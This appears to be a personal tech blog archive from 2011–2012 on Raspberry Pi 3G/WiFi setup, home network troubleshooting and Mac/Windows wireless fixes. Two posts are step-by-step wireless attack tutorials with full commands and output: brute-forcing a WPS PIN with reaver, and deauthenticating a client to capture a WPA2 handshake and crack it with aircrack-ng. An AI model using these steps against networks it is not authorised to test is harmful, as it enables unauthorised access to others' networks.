Telstra 3G Raspberry Pi

3 07 2012

Bringing a couple of my previous posts together, I finally got my Telstra 3G dongle to work on the Raspberry Pi.

First challenge was the device detecting as a CD-Rom (to make it easier for Windoze users). This is quickly solved by installing usb_modeswitch (notice the change from device 19d2:2000 (presented as CD-Rom) to 19d2:0031 (The USB modem mode)

root@raspberrypi:~# lsusb | grep ZTE
Bus 001 Device 004: ID 19d2:2000 ONDA Communication S.p.A. ZTE MF627/MF628/MF628+/MF636+ HSDPA/HSUPA

root@raspberrypi:~# apt-get install usb-modeswitch

root@raspberrypi:~# lsusb | grep ZTE
Bus 001 Device 005: ID 19d2:0031 ONDA Communication S.p.A. ZTE MF110/MF636

Unplugging plugging the dongle back in now gives you the ttyUSB devices you need.

root@raspberrypi:~# dmesg | grep ttyUSB
usb 1-1.2.3: GSM modem (1-port) converter now attached to ttyUSB0
usb 1-1.2.3: GSM modem (1-port) converter now attached to ttyUSB1
usb 1-1.2.3: GSM modem (1-port) converter now attached to ttyUSB2
usb 1-1.2.3: GSM modem (1-port) converter now attached to ttyUSB3

The easy thing to do would to to use the sakis3g script – its compiled for arm ….. but I couldnt get it to work, it would just fail to connect.

Next easiest thing would be to use wvdial …. however this isnt ported to arm …. dammit

So, its back to pppd & chat scripts.

root@raspberrypi:~# cat telstra.chat
ABORT ‘NO CARRIER’
ABORT ‘NO DIALTONE’
ABORT ‘BUSY’
ABORT ‘ERROR’
ABORT ‘NO ANSWER’
” ‘ATZ’
OK ‘AT&F’
OK ‘ATQ0 V1 E1’
OK ‘AT&D2 &C1’
OK ‘AT+FCLASS=0’
OK ‘ATS0=0’
OK ‘AT+CGDCONT=1,”IP”,”telstra.internet”‘
OK ‘ATDT*99#’
CONNECT ”

root@raspberrypi:~# /usr/sbin/pppd /dev/ttyUSB2 460800 modem crtscts defaultroute noipdefault usepeerdns ktune noauth lock nobsdcomp novj connect “/usr/sbin/chat -v -f /root/telstra.chat”

At this point, the dongle light flashed, I did the victory dance & poured a drink – however it was short lived.

Looking at the logs in /var/log/messages – we see something wrong. ppp connects, but then the USB dongle disconnects (the bus resets) – bugger.

Jul  3 21:25:21 raspberrypi pppd[1619]: Serial connection established.
Jul  3 21:25:21 raspberrypi pppd[1619]: Using interface ppp0
Jul  3 21:25:21 raspberrypi pppd[1619]: Connect: ppp0 <–> /dev/ttyUSB2
Jul  3 21:25:22 raspberrypi pppd[1619]: PAP authentication succeeded
Jul  3 21:25:22 raspberrypi pppd[1619]: kernel does not support PPP filtering
Jul  3 21:25:26 raspberrypi kernel: DEBUG:handle_hc_chhltd_intr_dma:: XactErr without NYET/NAK/ACK
Jul  3 21:25:26 raspberrypi kernel:
Jul  3 21:25:26 raspberrypi kernel: DEBUG:handle_hc_chhltd_intr_dma:: XactErr without NYET/NAK/ACK
Jul  3 21:25:26 raspberrypi kernel:

<snip>

Jul  3 21:25:28 raspberrypi kernel:
Jul  3 21:25:28 raspberrypi kernel: DEBUG:handle_hc_chhltd_intr_dma:: XactErr without NYET/NAK/ACK
Jul  3 21:25:28 raspberrypi kernel:
Jul  3 21:25:28 raspberrypi kernel: DEBUG:handle_hc_chhltd_intr_dma:: XactErr without NYET/NAK/ACK
Jul  3 21:25:28 raspberrypi kernel:
Jul  3 21:25:29 raspberrypi kernel: usb 1-1.2: USB disconnect, device number 8
Jul  3 21:25:29 raspberrypi kernel: option1 ttyUSB0: GSM modem (1-port) converter now disconnected from ttyUSB0
Jul  3 21:25:29 raspberrypi kernel: option 1-1.2:1.0: device disconnected
Jul  3 21:25:29 raspberrypi kernel: option1 ttyUSB1: GSM modem (1-port) converter now disconnected from ttyUSB1
Jul  3 21:25:29 raspberrypi kernel: option 1-1.2:1.1: device disconnected
Jul  3 21:25:29 raspberrypi pppd[1619]: Modem hangup
Jul  3 21:25:29 raspberrypi pppd[1619]: Connection terminated.
Jul  3 21:25:29 raspberrypi kernel: option1 ttyUSB2: GSM modem (1-port) converter now disconnected from ttyUSB2
Jul  3 21:25:29 raspberrypi kernel: option 1-1.2:1.3: device disconnected
Jul  3 21:25:29 raspberrypi kernel: option1 ttyUSB3: GSM modem (1-port) converter now disconnected from ttyUSB3
Jul  3 21:25:29 raspberrypi kernel: option 1-1.2:1.4: device disconnected

I had read about power causing issues on the USB devices, sometimes displaying these debug messages, so i tried using the 2A supply, but got the same result. I then tried out my funky new powered usb hub, courtesy of the crew @ Hak5.

Having the USB Data & USB Power plugs both in the Pi – it now works like a charm, the kernel debug messages are a thing of the past.

Jul  3 21:37:55 raspberrypi chat[1307]: CONNECT
Jul  3 21:37:55 raspberrypi chat[1307]:  — got it
Jul  3 21:37:55 raspberrypi chat[1307]: send (^M)
Jul  3 21:37:55 raspberrypi pppd[1305]: Serial connection established.
Jul  3 21:37:55 raspberrypi pppd[1305]: Using interface ppp0
Jul  3 21:37:55 raspberrypi pppd[1305]: Connect: ppp0 <–> /dev/ttyUSB2
Jul  3 21:37:56 raspberrypi pppd[1305]: PAP authentication succeeded
Jul  3 21:37:56 raspberrypi pppd[1305]: kernel does not support PPP filtering
Jul  3 21:37:58 raspberrypi pppd[1305]: Could not determine remote IP address: defaulting to 10.64.64.64
Jul  3 21:37:58 raspberrypi pppd[1305]: local  IP address 10.138.162.113
Jul  3 21:37:58 raspberrypi pppd[1305]: remote IP address 10.64.64.64
Jul  3 21:37:58 raspberrypi pppd[1305]: primary   DNS address 10.4.182.20
Jul  3 21:37:58 raspberrypi pppd[1305]: secondary DNS address 10.4.81.103

root@raspberrypi:~# ifconfig ppp0
ppp0      Link encap:Point-to-Point Protocol  
          inet addr:10.138.162.113  P-t-P:10.64.64.64  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:705 errors:0 dropped:0 overruns:0 frame:0
          TX packets:624 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:3 
          RX bytes:621353 (606.7 KiB)  TX bytes:40301 (39.3 KiB)
root@raspberrypi:~# traceroute www.google.com
traceroute to www.google.com (74.125.237.148), 30 hops max, 60 byte packets
1  10.5.194.242 (10.5.194.242)  635.526 ms  674.257 ms  683.415 ms
2  * * *
3  * * *
4  Bundle-Ether12.fli8.Adelaide.telstra.net (120.151.255.29)  780.113 ms  779.887 ms  779.557 ms
5  Bundle-Ether1.fli-core1.Adelaide.telstra.net (203.50.11.9)  779.381 ms  779.129 ms  787.440 ms
6  Bundle-Ether9.win-core1.Melbourne.telstra.net (203.50.11.91)  787.405 ms  110.280 ms  105.926 ms
7  Bundle-Pos3.ken-core4.Sydney.telstra.net (203.50.11.12)  122.242 ms  122.008 ms  121.642 ms
8  Bundle-Ether1.ken39.Sydney.telstra.net (203.50.6.146)  134.345 ms  134.449 ms  149.559 ms
9  72.14.198.54 (72.14.198.54)  179.171 ms  179.048 ms  156.730 ms
10  66.249.95.226 (66.249.95.226)  115.508 ms  108.826 ms  118.016 ms
11  72.14.237.137 (72.14.237.137)  137.651 ms  125.653 ms  124.900 ms
12  syd01s13-in-f20.1e100.net (74.125.237.148)  119.918 ms  119.181 ms  118.817 ms
root@raspberrypi:~#
Advertisements




WiFi Pi

29 06 2012

The next logical step was to remove the dependency on physical ethernet cabling to my Raspberry Pi.

I struggled with a couple of cards, but eventually got success with a tiny little NG54/N150 Wireless USB Micro Adapter – WNA1000M.

I cant claim the credit – it was a combination of the following sites that eventually got a result.

http://www.69b.org/prox-pi.php/rpo/phpBB3/viewtopic.php?f=66&t=6737&sid=6f0540c1c93a8bd41b309c6832b6058b
http://www.ctrl-alt-del.cc/2012/05/raspberry-pi-meets-edimax-ew-7811un-wireless-ada.html
http://www.raspberrypi.org/phpBB3/viewtopic.php?f=28&t=5249

http://www.raspberrypi.org/phpBB3/viewtopic.php?f=26&t=6256
http://dl.dropbox.com/u/80256631/install-rtl8188cus.txt
http://dl.dropbox.com/u/80256631/install-rtl8188cus.sh

root@raspberrypi:~# apt-get install wget unzip wireless-tools wpasupplicant
root@raspberrypi:~# wget http://www.electrictea.co.uk/rpi/8192cu.ko
root@raspberrypi:~# wget ftp://ftp.dlink.com/Wireless/dwa130_revC/Drivers/dwa130_revC_drivers_linux_006.zip
root@raspberrypi:~# unzip dwa130_revC_drivers_linux_006.zip

root@raspberrypi:~# install -m 644 ./8192cu.ko /lib/modules/3.1.9+/kernel/drivers/net/wireless/
root@raspberrypi:~# depmod -a

root@raspberrypi:~# mkdir -p /usr/local/lib/firmware/RTL8192U
root@raspberrypi:~# mv rtl8192u_linux_2.6.0006.1031.2008/firmware/RTL8192U/* /usr/local/lib/firmware/RTL8192U/
root@raspberrypi:~# vi /etc/wpa_supplicant/wpa_supplicant.conf

root@raspberrypi:~# cat /etc/wpa_supplicant/wpa_supplicant.conf
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
ap_scan=2

network={
ssid="WiFiNetworkSSID"
key_mgmt=WPA-PSK
proto=WPA2
pairwise=CCMP
group=CCMP
psk="C0mpl3xS3cur3P$K"
}
root@raspberrypi:~#

touch /etc/modprobe.d/blacklist.conf
echo "blacklist rtl8192cu" >> /etc/modprobe.d/blacklist.conf
touch /etc/modules
echo "8192cu" >> /etc/modules

**If your wifi is wlan2 or wlan3 etc - you can rename by deleting the old nics from ....

root@raspberrypi:~# vi /etc/udev/rules.d/70-persistent-net.rules

root@raspberrypi:~# vi /etc/network/interfaces

auto wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf

And for the results:

root@raspberrypi:~# lsusb
Bus 001 Device 004: ID 0846:9041 NetGear, Inc. WNA1000M 802.11bgn [Realtek RTL8188CUS]

root@raspberrypi:~# iwconfig wlan0
wlan0     IEEE 802.11bgn  ESSID:"WiFiNetworkSSID"  Nickname:"<WIFI@REALTEK>"
          Mode:Managed  Frequency:2.447 GHz  Access Point: 02:5E:52:7A:AF:12   
          Bit Rate:150 Mb/s   Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:****-****-****-****-****-****-****-****   Security mode:open
          Power Management:off
          Link Quality=88/100  Signal level=88/100  Noise level=0/100
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

root@raspberrypi:~# ifconfig wlan0
wlan0     Link encap:Ethernet  HWaddr c4:3d:c7:79:3a:04  
          inet addr:192.168.0.140  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:261 errors:0 dropped:0 overruns:0 frame:0
          TX packets:140 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:53777 (52.5 KiB)  TX bytes:33212 (32.4 KiB)




holy flapping mobile wireless batman

27 02 2012

I had been seeing more & more 10.x.x.x addresses blocked in my FW logs hitting the inside interface. The address range on my inside network is 192.168.0.0/24 – so naturally I was concerned & wanted to know what the hell it was.

Digging through firewall logs, I found the MAC address of the offending device. It turned out to be my Wife’s mobile phone. Samsung Galaxy Ace.

What I saw was plenty of connections permitted on the internal address, then a couple blocked on a “random” 10.x.x.x address – followed by more on the internal address.

This cycle repeated for hours on end.

Trojan / Malware / What The ??

Using the MAC address – I checked the Assosciations to my Wireless Access point:

Sure enough, it turns out that the wireless connection is flapping like crazy. Dropping on & off my wireless network.

It drops off the network, Telstra gives it a private 10.x address

It get back on the WLAN, still transmitting on the 10.x until it gets a DHCP lease from my Access Point.

The traffic that it sends onto my wireless lan while it still has the 10.x address from Telstra is blocked – and reported.

Another mystery solved…… now to work out why its flapping so much – and not behaving like my Samsung Galaxy S2 – Associates once & is done with it (example below when I got home at 6pm)





identify & crack your WPS enabled AP

25 01 2012

##DISCLAIMER## – as usual, only use on devices you have approval for or own.

I hadn’t looked much at reaver yet – although had been following the news since it was released in Dec. Reaver allows you to brute force the WPS 8 numeric digit pin (easy setup / config feature) on a WiFi AP rather than trying to brute force the PSK. WPS is enabled by default on most newer (last few years) consumer routers to get certification.

Main tools:
– reaver (crack AP) & wash (identify AP vuln to WPS brute forcing)
– the python script wpscan.py (circa 2009) allows you to fingerprint the AP (Make / Model / Serial etc) that has WPS enabled

Go here & download reaver 1.4 (latest at time of writing) – don’t just apt-get install as you don’t get wash

http://code.google.com/p/reaver-wps/downloads/list

http://code.google.com/p/reaver-wps/downloads/detail?name=reaver-1.4.tar.gz&can=2&q=

Do the install dance on your distro (works on BT5r1)

# tar zxvf reaver-1.4.tar.gz
# ./config
# make
# make install

You can also use a fun little python script called wpscan.py (not to be confused with the WordPress tool) to fingerprint the AP

http://www.sourcesec.com/category/tools/

Step 1: Interface into monitor mode

# airmon-ng start wlan0

Step 2: Identify a WPS enabled (vulnerable) AP using wash included with reaver

# wash –i mon0

Step 3: Fingerprint with wpscan.py

# ./wpscan.py –i mon0

Step 4: run reaver against it …… grab a coffee / lunch / sleep – can take several hours to brute force the WPS pin

# reaver -i mon0 -b -AP MAC ADDRESS- -v

This will [should] result in returning the pin & psk of the wifi router – you can simply then connect.

WPS PIN: ‘15736942’
WPA PSK: ‘somesecure&reallyl0ngpskhere’
AP SSID: ‘p0wn3d’





WPA2 network cracking

27 09 2011

So – everyone has cracked WEP & everyone knows it has a couple of seconds security around it.

This time I am getting connected to a WPA2 / PSK protected network.

Couple of things you will need

  • Backtrack (I am using 5r1 )
  • A wordlist – google is your friend here but there is a 3169 word list at /pentest/passwords/john/password.lst to get you started
  • A wireless card
  • A WPA or WPA2 network protected with a pre-shared key (your own of course)

==Drop the interface into monitor mode==

root@bt:~# airmon-ng start wlan0

Interface    Chipset        Driver

wlan0        Zydas zd1211    zd1211rw - [phy1]
(monitor mode enabled on mon0)

==Find your target wireless network==

root@bt:~# airodump-ng mon0

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 38:E7:D8:AD:B2:0E    0       61        0    0  11  54e  WPA2 CCMP   PSK  Wireless

==Start capturing==

root@bt:~# airodump-ng mon0 --channel 11 --bssid 38:E7:D8:AD:B2:0E -w /tmp/wpa2

 CH 11 ][ BAT: 3 hours 51 mins ][ Elapsed: 7 mins ][ 2011-09-26 21:24                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                           

 38:E7:D8:AD:B2:0E    0 100     4319       83    0  11  54e  WPA2 CCMP   PSK  Wireless                        

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                    

 38:E7:D8:AD:B2:0E  00:03:6D:F4:F8:86    0    1 -48      0       81  Wireless

So now that you are capturing the traffic, we can either wait for a user to connect, or deauth an existing one….

==Deauth an existing user to get the 4 way handshake==

root@bt:~# aireplay-ng -0 1 -a 38:E7:D8:AD:B2:0E -c 00:03:6D:F4:F8:86 mon0
21:25:49  Waiting for beacon frame (BSSID: 38:E7:D8:AD:B2:0E) on channel 11
21:25:50  Sending 64 directed DeAuth. STMAC: [00:03:6D:F4:F8:86] [62|63 ACKs]
root@bt:~#

Once the user is connected, you see the WPA handshake in the top right corner

CH 11 ][ BAT: 3 hours 43 mins ][ Elapsed: 1 min ][ 2011-09-26 21:27 ][ WPA handshake: 38:E7:D8:AD:B2:0E

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

38:E7:D8:AD:B2:0E    0  96      807       28    0  11  54e  WPA2 CCMP   PSK  Wireless

BSSID              STATION            PWR   Rate    Lost  Packets  Probes

38:E7:D8:AD:B2:0E  00:03:6D:F4:F8:86    0   54 - 6      0      161

Now, the best bit of this over WEP cracking is that we no longer need to be anywhere near the network. The cracking is done offline.

==The easy way (No garuntee this will work)==

There are two ways to tackle this – at the end of the day, you need to brute force the password, but having a decent wordlist gives you a huge advantage over a,b,c,d 1,2,3,4 etc.

This is the secret sauce – without a decent wordlist, you got nothing.

For this example we will just use the one that comes with JTR in BT

root@bt:~# aircrack-ng -w /pentest/passwords/john/password.lst -b 38:E7:D8:AD:B2:0E /tmp/wpa*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...

                                 Aircrack-ng 1.1 r1904

                   [00:00:00] 48 keys tested (489.60 k/s)

                           KEY FOUND! [ sunshine ]

      Master Key     : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C 
                       8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D 

      Transient Key  : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF 
                       8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C 
                       6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28 
                       D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B 

      EAPOL HMAC     : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B 
root@bt:~#

BOOHYA – our WPA2 PSK is sunshine

==The hard way (but will EVENTUALLY find it)==

root@bt:~# /pentest/passwords/john/john --stdout --incremental:all | aircrack-ng -b 38:E7:D8:AD:B2:0E -w - /tmp/wpa2*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...

                                 Aircrack-ng 1.1 r1904

                   [00:00:22] 11484 keys tested (534.50 k/s)

                           KEY FOUND! [ sunshine ]

      Master Key     : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C 
                       8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D 

      Transient Key  : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF 
                       8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C 
                       6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28 
                       D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B 

      EAPOL HMAC     : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B 
root@bt:~#

So thats it … no smoke … no mirrors … Get the capture of a handshake, then brute force the key from it 😀

Remember this the next time you are thinking of a PSK for your wireless router.

A good page to read about password strength & get a feel for what it takes to brute force different passwords is the Password Haystacks page by Steve Gibson (grc.com)





airport utility on Windows 7

11 03 2011

Following on from my last post about the vSphere client, it turns out that the Apple Airport utility also has issues running under Windows 7.

This is a problem for me, as I run 3 of them ……

As you can see, when I try to manage one of them I get a dreaded 10057 error. The Airport utility finds all 3 of my airports, but I cannot manage them.

Suggestions seem to range from disabling IPv6 to turning off the windows firewall – to power cycling the whole environment … it seemed about as endless as it was fruitless …. until

The simple solution appears to be simple clicking on the File menu, selecting Configure Other (Ctrl+Shift+O) and entering the IP address & password of the Airport – that is displayed in the App.

Viola, I can now manage my Apple Airports again …. under Windows 7.





macbook4,1 – ubuntu & wireless woes (fixed)

17 01 2011

I have a newish (couple of years) macbook 4,1

Model Name:    MacBook
Model Identifier:    MacBook4,1
Processor Name:    Intel Core 2 Duo
Processor Speed:    2.4 GHz
Number Of Processors:    1
Total Number Of Cores:    2
L2 Cache:    3 MB
Memory:    4 GB
Bus Speed:    800 MHz

Recently I decided I had had enough of OSX and threw Ubuntu 10.10 on it – all has been reasonably smooth sailing (minus the dying HDD, the repartitioning & GRUB woes …)

I pulled the Airport Extreme out of the cupboard the other day (I had been tethering with my Android HTC Desire while we were building a house) – and lo & behold I had dramas connecting to it. Wireless N WPA2/TKIP.

Anyway, a bit of googling time later, I found a great couple of lines to fix the issue. Wireless has been rock solid (so far) since making this change. Changing the ifupdown to managed & adding config for ifup & ifdown did the trick.

sudo gedit /etc/NetworkManage/nm-system-settings.conf

[ifupdown]
managed=true
#managed=false

[ifup]
managed=true

[ifdown]
managed=true

Reboot & wireless is golden again.